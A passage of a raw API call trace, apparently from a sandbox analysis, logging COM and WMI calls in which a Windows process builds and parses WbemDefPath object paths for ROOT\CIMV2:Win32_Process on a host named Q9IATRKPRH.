[5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0133.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a4a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc0f1c0) returned 0x0 [0133.603] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f1c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.603] WbemDefPath:IUnknown:Release (This=0x1bc0f1c0) returned 0x3 [0133.603] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0133.603] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0133.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a4a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0133.603] WbemDefPath:IUnknown:Release (This=0x1bc1a4a0) returned 0x2 [0133.603] WbemDefPath:IUnknown:Release (This=0x1bc1a4a0) returned 0x1 [0133.603] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0133.603] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0133.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a4a0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc1a4a0) returned 0x0 [0133.603] WbemDefPath:IUnknown:AddRef (This=0x1bc1a4a0) returned 0x3 [0133.603] WbemDefPath:IUnknown:Release (This=0x1bc1a4a0) returned 0x2 [0133.603] WbemDefPath:IWbemPath:SetText (This=0x1bc1a4a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0133.604] IWbemClassObject:Get (in: This=0x1bbd69c0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0133.604] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0133.604] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0133.604] IWbemClassObject:Get (in: This=0x1bbd69c0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0133.604] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0133.604] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0133.604] IWbemClassObject:Get (in: This=0x1bbd69c0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0133.604] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0133.604] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0133.605] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0133.605] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0133.605] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0133.605] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.615] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc0f360) returned 0x0 [0133.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f360, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0133.615] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f360, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc1a560) returned 0x0 [0133.615] WbemDefPath:IUnknown:Release (This=0x1bc0f360) returned 0x0 [0133.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a560, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc1a560) returned 0x0 [0133.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a560, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0133.616] WbemDefPath:IUnknown:AddRef (This=0x1bc1a560) returned 0x3 [0133.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a560, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0133.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a560, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0133.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a560, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc0f3a0) returned 0x0 [0133.617] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f3a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.617] WbemDefPath:IUnknown:Release (This=0x1bc0f3a0) returned 0x3 [0133.617] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0133.617] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0133.617] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a560, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0133.617] WbemDefPath:IUnknown:Release (This=0x1bc1a560) returned 0x2 [0133.618] WbemDefPath:IUnknown:Release (This=0x1bc1a560) returned 0x1 [0133.618] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0133.618] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0133.618] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a560, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc1a560) returned 0x0 [0133.618] WbemDefPath:IUnknown:AddRef (This=0x1bc1a560) returned 0x3 [0133.618] WbemDefPath:IUnknown:Release (This=0x1bc1a560) returned 0x2 [0133.618] WbemDefPath:IWbemPath:SetText (This=0x1bc1a560, uMode=0x4, pszPath="") returned 0x0 [0133.618] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0133.618] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0133.618] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0133.618] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.620] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc0f360) returned 0x0 [0133.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f360, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0133.620] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f360, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc1a620) returned 0x0 [0133.620] WbemDefPath:IUnknown:Release (This=0x1bc0f360) returned 0x0 [0133.620] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a620, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc1a620) returned 0x0 [0133.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a620, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0133.621] WbemDefPath:IUnknown:AddRef (This=0x1bc1a620) returned 0x3 [0133.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a620, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0133.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a620, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0133.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a620, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc0f3e0) returned 0x0 [0133.621] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f3e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.621] WbemDefPath:IUnknown:Release (This=0x1bc0f3e0) returned 0x3 [0133.621] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0133.621] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0133.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a620, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0133.621] WbemDefPath:IUnknown:Release (This=0x1bc1a620) returned 0x2 [0133.621] WbemDefPath:IUnknown:Release (This=0x1bc1a620) returned 0x1 [0133.622] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0133.622] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0133.622] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a620, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc1a620) returned 0x0 [0133.622] WbemDefPath:IUnknown:AddRef (This=0x1bc1a620) returned 0x3 [0133.622] WbemDefPath:IUnknown:Release (This=0x1bc1a620) returned 0x2 [0133.622] WbemDefPath:IWbemPath:SetText (This=0x1bc1a620, uMode=0x4, pszPath="") returned 0x0 [0133.622] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a620, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0133.622] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a560, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0133.622] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc1a620, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0133.622] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc1a620, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0133.622] WbemDefPath:IWbemPath:SetServer (This=0x1bc1a620, Name="Q9IATRKPRH") returned 0x0 [0133.622] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0133.622] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0133.622] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0133.622] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.624] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc0f400) returned 0x0 [0133.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f400, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0133.625] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f400, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc1a6e0) returned 0x0 [0133.625] WbemDefPath:IUnknown:Release (This=0x1bc0f400) returned 0x0 [0133.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a6e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc1a6e0) returned 0x0 [0133.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a6e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0133.625] WbemDefPath:IUnknown:AddRef (This=0x1bc1a6e0) returned 0x3 [0133.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a6e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0133.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a6e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0133.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a6e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc0f440) returned 0x0 [0133.625] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f440, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.625] WbemDefPath:IUnknown:Release (This=0x1bc0f440) returned 0x3 [0133.625] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0133.626] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0133.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a6e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0133.626] WbemDefPath:IUnknown:Release (This=0x1bc1a6e0) returned 0x2 [0133.626] WbemDefPath:IUnknown:Release (This=0x1bc1a6e0) returned 0x1 [0133.626] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0133.626] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0133.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a6e0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc1a6e0) returned 0x0 [0133.626] WbemDefPath:IUnknown:AddRef (This=0x1bc1a6e0) returned 0x3 [0133.626] WbemDefPath:IUnknown:Release (This=0x1bc1a6e0) returned 0x2 [0133.626] WbemDefPath:IWbemPath:SetText (This=0x1bc1a6e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a620, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a6e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a6e0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a6e0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0133.626] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc1a620) returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a6e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1a6e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1a6e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0133.626] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc1a620, uIndex=0x0, pszName="ROOT") returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1a6e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc1a6e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0133.626] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc1a620, uIndex=0x1, pszName="CIMV2") returned 0x0 [0133.626] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc1a620, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 